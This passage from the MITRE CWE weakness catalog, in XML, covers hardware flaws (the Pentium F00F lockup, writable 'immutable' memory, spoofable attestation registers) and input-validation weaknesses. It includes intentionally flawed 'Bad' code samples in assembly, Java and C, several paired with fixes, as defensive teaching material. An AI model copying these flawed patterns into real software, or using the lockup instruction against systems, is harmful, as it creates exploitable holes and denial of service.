					<Intro_Text>The Pentium F00F bug is a real-world example of how a sequence of instructions can lock a processor. The "cmpxchg8b" instruction compares contents of registers with a memory location.  The operand is expected to be a memory location, but in the bad code snippet it is the eax register. Because the specified operand is illegal, an exception is generated, which is the correct behavior and not a security issue in itself. However, when prefixed with the "lock" instruction, the processor deadlocks because locked memory transactions require a read and write pair of transactions to occur before the lock on the memory bus is released. The exception causes a read to occur but there is no corresponding write, as there would have been if a legal operand had been supplied to the cmpxchg8b instruction. [REF-1331]</Intro_Text>
					<Example_Code Nature="Bad" Language="x86 Assembly">lock cmpxchg8b eax</Example_Code>
				</Demonstrative_Example>
				<Demonstrative_Example>
				<Intro_Text>The Cyrix Coma bug was capable of trapping a Cyrix 6x86, 6x86L, or 6x86MX processor in an infinite loop. An infinite loop on a processor is not necessarily an issue on its own, as interrupts could stop the loop. However, on select Cyrix processors, the x86 Assembly 'xchg' instruction was designed to prevent interrupts. On these processors, if the loop was such that a new 'xchg' instruction entered the instruction pipeline before the previous one exited, the processor would become deadlocked. [REF-1323]</Intro_Text>
				</Demonstrative_Example>
				<Demonstrative_Example>
				<Intro_Text>The Motorola MC6800 microprocessor contained the first documented instance of a Halt and Catch Fire instruction - an instruction that causes the normal function of a processor to stop. If the MC6800 was given the opcode 0x9D or 0xDD, the processor would begin to read all memory very quickly, in sequence, and without executing any other instructions. This will cause the processor to become unresponsive to anything but a hard reset. [REF-1324]</Intro_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-1999-1476</Reference>
					<Description>A bug in some Intel Pentium processors allow DoS (hang) via an invalid "CMPXCHG8B" instruction, causing a deadlock</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-1999-1476</Link>
				</Observed_Example>
			</Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="212"/>
         </Related_Attack_Patterns>
         <References>
				<Reference External_Reference_ID="REF-1094"/>
				<Reference External_Reference_ID="REF-1108"/>
				<Reference External_Reference_ID="REF-1323"/>
				<Reference External_Reference_ID="REF-1324"/>
				<Reference External_Reference_ID="REF-1331"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-15</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, References, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2021-07-20">Sequence of Processor Instructions Leads to Unexpected Behavior (Halt and Catch Fire)</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1282" Name="Assumed-Immutable Data is Stored in Writable Memory" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>Immutable data, such as a first-stage bootloader, device identifiers, and "write-once" configuration settings are stored in writable memory that can be re-programmed or updated in the field.</Description>
			<Extended_Description>
				<xhtml:p>Security services such as secure boot, authentication of code and data, and device attestation all require assets such as the first stage bootloader, public keys, golden hash digests, etc. which are implicitly trusted. Storing these assets in read-only memory (ROM), fuses, or one-time programmable (OTP) memory provides strong integrity guarantees and provides a root of trust for securing the rest of the system. Security is lost if assets assumed to be immutable can be modified.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
			 <Related_Weakness Nature="ChildOf" CWE_ID="668" View_ID="1000" Ordinal="Primary"/>
			 <Related_Weakness Nature="CanPrecede" CWE_ID="471" View_ID="1000"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Keys, code, configuration settings, and other data should be programmed in write-once or read-only memory instead of writable memory.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>All immutable code or data should be programmed into ROM or write-once memory.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>Cryptographic hash functions are commonly used to create unique fixed-length digests used to ensure the integrity of code and keys. A golden digest is stored on the device and compared to the digest computed from the data to be verified. If the digests match, the data has not been maliciously modified. If an attacker can modify the golden digest they then have the ability to store arbitrary data that passes the verification check. Hash digests used to verify public keys and early stage boot code should be immutable, with the strongest protection offered by hardware immutability.</Intro_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="458"/>
            <Related_Attack_Pattern CAPEC_ID="679"/>
         </Related_Attack_Patterns>
         <Notes>
        <Note Type="Maintenance">
          This entry is still under development and will continue to
          see updates and content improvements.
        </Note>
        <Note Type="Maintenance">
		  As of CWE 4.3, CWE-1282 and CWE-1233 are being investigated
		  for potential duplication or overlap.
        </Note>
      </Notes>
			<Content_History>
				<Submission>
					<Submission_Name>Nicole Fern</Submission_Name>
					<Submission_Organization>Tortuga Logic</Submission_Organization>
					<Submission_Date>2020-05-15</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Modes_of_Introduction, Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-08-20">Assumed-Immutable Data Stored in Writable Memory</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1283" Name="Mutable Attestation or Measurement Reporting Data" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The register contents used for attestation or measurement reporting data to verify boot flow are modifiable by an adversary.</Description>
         <Extended_Description>
            <xhtml:p>A System-on-Chip (SoC) implements secure boot or verified boot. During this boot flow, the SoC often measures the code that it authenticates. The measurement is usually done by calculating the one-way hash of the code binary and extending it to the previous hash. The hashing algorithm should be a Secure One-Way hash function. The final hash, i.e., the value obtained after the completion of the boot flow, serves as the measurement data used in reporting or in attestation. The calculated hash is often stored in registers that can later be read by the party of interest to determine tampering of the boot flow. A common weakness is that the contents in these registers are modifiable by an adversary, thus spoofing the measurement.</xhtml:p>
         </Extended_Description>
			<Related_Weaknesses>
			  <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
         <Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
				</Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>Such issues can be introduced during hardware architecture or design and can be identified later during Testing or System Configuration phases.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>If the access-controls which protecting the reporting registers are misconfigured during implementation, this weakness can arise.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
                <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                 <xhtml:p>Measurement data should be stored in registers that are read-only or otherwise have access controls that prevent modification by an untrusted agent.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The SoC extends the hash and stores the results in registers. Without protection, an adversary can write their chosen hash values to these registers. Thus, the attacker controls the reported results.</Intro_Text>   
                <Body_Text>
                    <xhtml:p>To prevent the above scenario, the registers should have one or more of the following properties:</xhtml:p>
                    <xhtml:ul>
                        <xhtml:li>Should be Read-Only with respect to an adversary</xhtml:li>
                        <xhtml:li>Cannot be extended or modifiable either directly or indirectly (using a trusted agent as proxy) by an adversary</xhtml:li>
                        <xhtml:li>Should have appropriate access controls or protections</xhtml:li>
                    </xhtml:ul>
                 </Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="680"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-1107"/>
            <Reference External_Reference_ID="REF-1131"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry is still in development and will continue to see updates and content improvements.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Arun Kanuparthi, Hareesh Khattri, Parbati Kumar Manna, Narasimha Kumar V Mangipudi</Submission_Name>
               <Submission_Organization>Intel Corporation</Submission_Organization>
               <Submission_Date>2020-04-25</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1284" Name="Improper Validation of Specified Quantity in Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.</Description>
			<Extended_Description>
				<xhtml:p>Specified quantities include size, length, frequency, price, rate, number of operations, time, and others. Code may rely on specified quantities to allocate resources, perform calculations, control iteration, etc. When the quantity is not properly validated, then attackers can specify malicious quantities to cause excessive resource allocation, trigger unexpected failures, enable buffer overflows, etc.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1003" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
					<Note>Since quantities are used so often to affect resource allocation or process financial data, they are often present in many places in the code.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-135">
               <Intro_Text>This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>public static final double price = 20.00;<xhtml:br/>int quantity = currentUser.getAttribute("quantity");<xhtml:br/>double total = price * quantity;<xhtml:br/>chargeUser(total);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-136">
               <Intro_Text>This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>#define MAX_DIM 100<xhtml:br/>...<xhtml:br/>
                     <xhtml:i>/* board dimensions */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>int m,n, error;<xhtml:br/>board_square_t *board;<xhtml:br/>printf("Please specify the board height: \n");<xhtml:br/>error = scanf("%d", &amp;m);<xhtml:br/>if ( EOF == error ){<xhtml:div style="margin-left:1em;">die("No integer passed: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>printf("Please specify the board width: \n");<xhtml:br/>error = scanf("%d", &amp;n);<xhtml:br/>if ( EOF == error ){<xhtml:div style="margin-left:1em;">die("No integer passed: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>if ( m &gt; MAX_DIM || n &gt; MAX_DIM ) {<xhtml:div style="margin-left:1em;">die("Value too large: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>board = (board_square_t*) malloc( m * n * sizeof(board_square_t));<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.</Body_Text>
            </Demonstrative_Example>
            </Demonstrative_Examples>
            <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2022-21668</Reference>
               <Description>Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-21668</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1440</Reference>
               <Description>lack of validation of length field leads to infinite loop</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1440</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2374</Reference>
               <Description>lack of validation of string length fields allows memory consumption or buffer over-read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2374</Link>
            </Observed_Example>
            </Observed_Examples>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1285" Name="Improper Validation of Specified Index, Position, or Offset in Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties.</Description>
			<Extended_Description>
				<xhtml:p>Often, indexable resources such as memory buffers or files can be accessed using a specific position, index, or offset, such as an index for an array or a position for a file.  When untrusted input is not properly validated before it is used as an index, attackers could access (or attempt to access) unauthorized portions of these resources.  This could be used to cause buffer overflows, excessive resource allocation, or trigger unexpected failures.
				</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Other</Scope>
					<Impact>Varies by Context</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
			</Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-134">
               <Intro_Text>The following example retrieves the sizes of messages for a pop3 mail server. The message sizes are retrieved from a socket that returns in a buffer the message number and the message size, the message number (num) and size (size) are extracted from the buffer and the message size is placed into an array using the message number for the array index.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* capture the sizes of all messages */</xhtml:i>
                     <xhtml:br/>int getsizes(int sock, int count, int *sizes) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>char buf[BUFFER_SIZE];<xhtml:br/>int ok;<xhtml:br/>int num, size;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// read values from socket and added to sizes array</xhtml:i>
                           <xhtml:br/>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// continue read from socket until buf only contains '.'</xhtml:i>
                                 <xhtml:br/>if (DOTLINE(buf))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                 <xhtml:br/>else if (sscanf(buf, "%d %d", &amp;num, &amp;size) == 2)<xhtml:div style="margin-left:1em;">sizes[num - 1] = size;</xhtml:div>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example the message number retrieved from the buffer could be a value that is outside the allowable range of indices for the array and could possibly be a negative number. Without proper validation of the value to be used for the array index an array overflow could occur and could potentially lead to unauthorized access to memory addresses and system crashes. The value of the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>/* capture the sizes of all messages */</xhtml:i>
                     <xhtml:br/>int getsizes(int sock, int count, int *sizes) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>char buf[BUFFER_SIZE];<xhtml:br/>int ok;<xhtml:br/>int num, size;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// read values from socket and added to sizes array</xhtml:i>
                           <xhtml:br/>while ((ok = gen_recv(sock, buf, sizeof(buf))) == 0)<xhtml:br/>{<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// continue read from socket until buf only contains '.'</xhtml:i>
                                 <xhtml:br/>if (DOTLINE(buf))<xhtml:div style="margin-left:1em;">break;</xhtml:div>
                                 <xhtml:br/>else if (sscanf(buf, "%d %d", &amp;num, &amp;size) == 2) {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>if (num &gt; 0 &amp;&amp; num &lt;= (unsigned)count)<xhtml:div style="margin-left:1em;">sizes[num - 1] = size;</xhtml:div>
                                       <xhtml:br/>else<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>
                                             <xhtml:i>/* warn about possible attempt to induce buffer overflow */</xhtml:i>
                                             <xhtml:br/>report(stderr, "Warning: ignoring bogus data for message sizes returned by server.\n");</xhtml:div>
                                       </xhtml:div>
                                    </xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:div style="margin-left:1em;">...</xhtml:div>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-133">
               <Intro_Text>In the following example the method displayProductSummary is called from a Web service servlet to retrieve product summary information for display to the user. The servlet obtains the integer value of the product number from the user and passes it to the displayProductSummary method. The displayProductSummary method passes the integer value of the product number to the getProductSummary method which obtains the product summary from the array object containing the project summaries using the integer value of the product number as the array index.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Method called from servlet to obtain product information</xhtml:i>
                     <xhtml:br/>public String displayProductSummary(int index) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = new String("");<xhtml:br/>
                           <xhtml:br/>try {<xhtml:div style="margin-left:1em;">String productSummary = getProductSummary(index);</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (Exception ex) {...}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public String getProductSummary(int index) {<xhtml:div style="margin-left:1em;">return products[index];</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In this example the integer value used as the array index that is provided by the user may be outside the allowable range of indices for the array which may provide unexpected results or cause the application to fail. The integer value used for the array index should be validated to ensure that it is within the allowable range of indices for the array as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>// Method called from servlet to obtain product information</xhtml:i>
                     <xhtml:br/>public String displayProductSummary(int index) {<xhtml:br/>
                     <xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = new String("");<xhtml:br/>
                           <xhtml:br/>try {<xhtml:div style="margin-left:1em;">String productSummary = getProductSummary(index);</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>} catch (Exception ex) {...}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public String getProductSummary(int index) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String productSummary = "";<xhtml:br/>
                           <xhtml:br/>if ((index &gt;= 0) &amp;&amp; (index &lt; MAX_PRODUCTS)) {<xhtml:div style="margin-left:1em;">productSummary = products[index];</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">System.err.println("index is out of bounds");<xhtml:br/>throw new IndexOutOfBoundsException();</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>return productSummary;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An alternative in Java would be to use one of the collection objects such as ArrayList that will automatically generate an exception if an attempt is made to access an array index that is out of bounds.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>ArrayList productArray = new ArrayList(MAX_PRODUCTS);<xhtml:br/>...<xhtml:br/>try {<xhtml:div style="margin-left:1em;">productSummary = (String) productArray.get(index);</xhtml:div>} catch (IndexOutOfBoundsException ex) {...}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-90">
               <Intro_Text>The following example asks a user for an offset into an array to select an item.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *items[] = {"boat", "car", "truck", "train"};<xhtml:br/>int index = GetUntrustedOffset();<xhtml:br/>printf("User selected %s\n", items[index-1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
            <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0369</Reference>
               <Description>large ID in packet used as array index</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0369</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1009</Reference>
               <Description>negative array index as argument to POP LIST command</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1009</Link>
            </Observed_Example>
            </Observed_Examples>
            <Notes>
			    <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2020-06-24</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1286" Name="Improper Validation of Syntactic Correctness of Input" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.</Description>
			<Extended_Description>
				<xhtml:p>Often, complex inputs are expected to follow a particular syntax, which is either assumed by the input itself, or declared within metadata such as headers. The syntax could be for data exchange formats, markup languages, or even programming languages.  When untrusted input is not properly validated for the expected syntax, attackers could cause parsing failures, trigger unexpected errors, or expose latent vulnerabilities that might not be directly exploitable if the input had conformed to the syntax.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Often"/>
			</Applicable_Platforms>
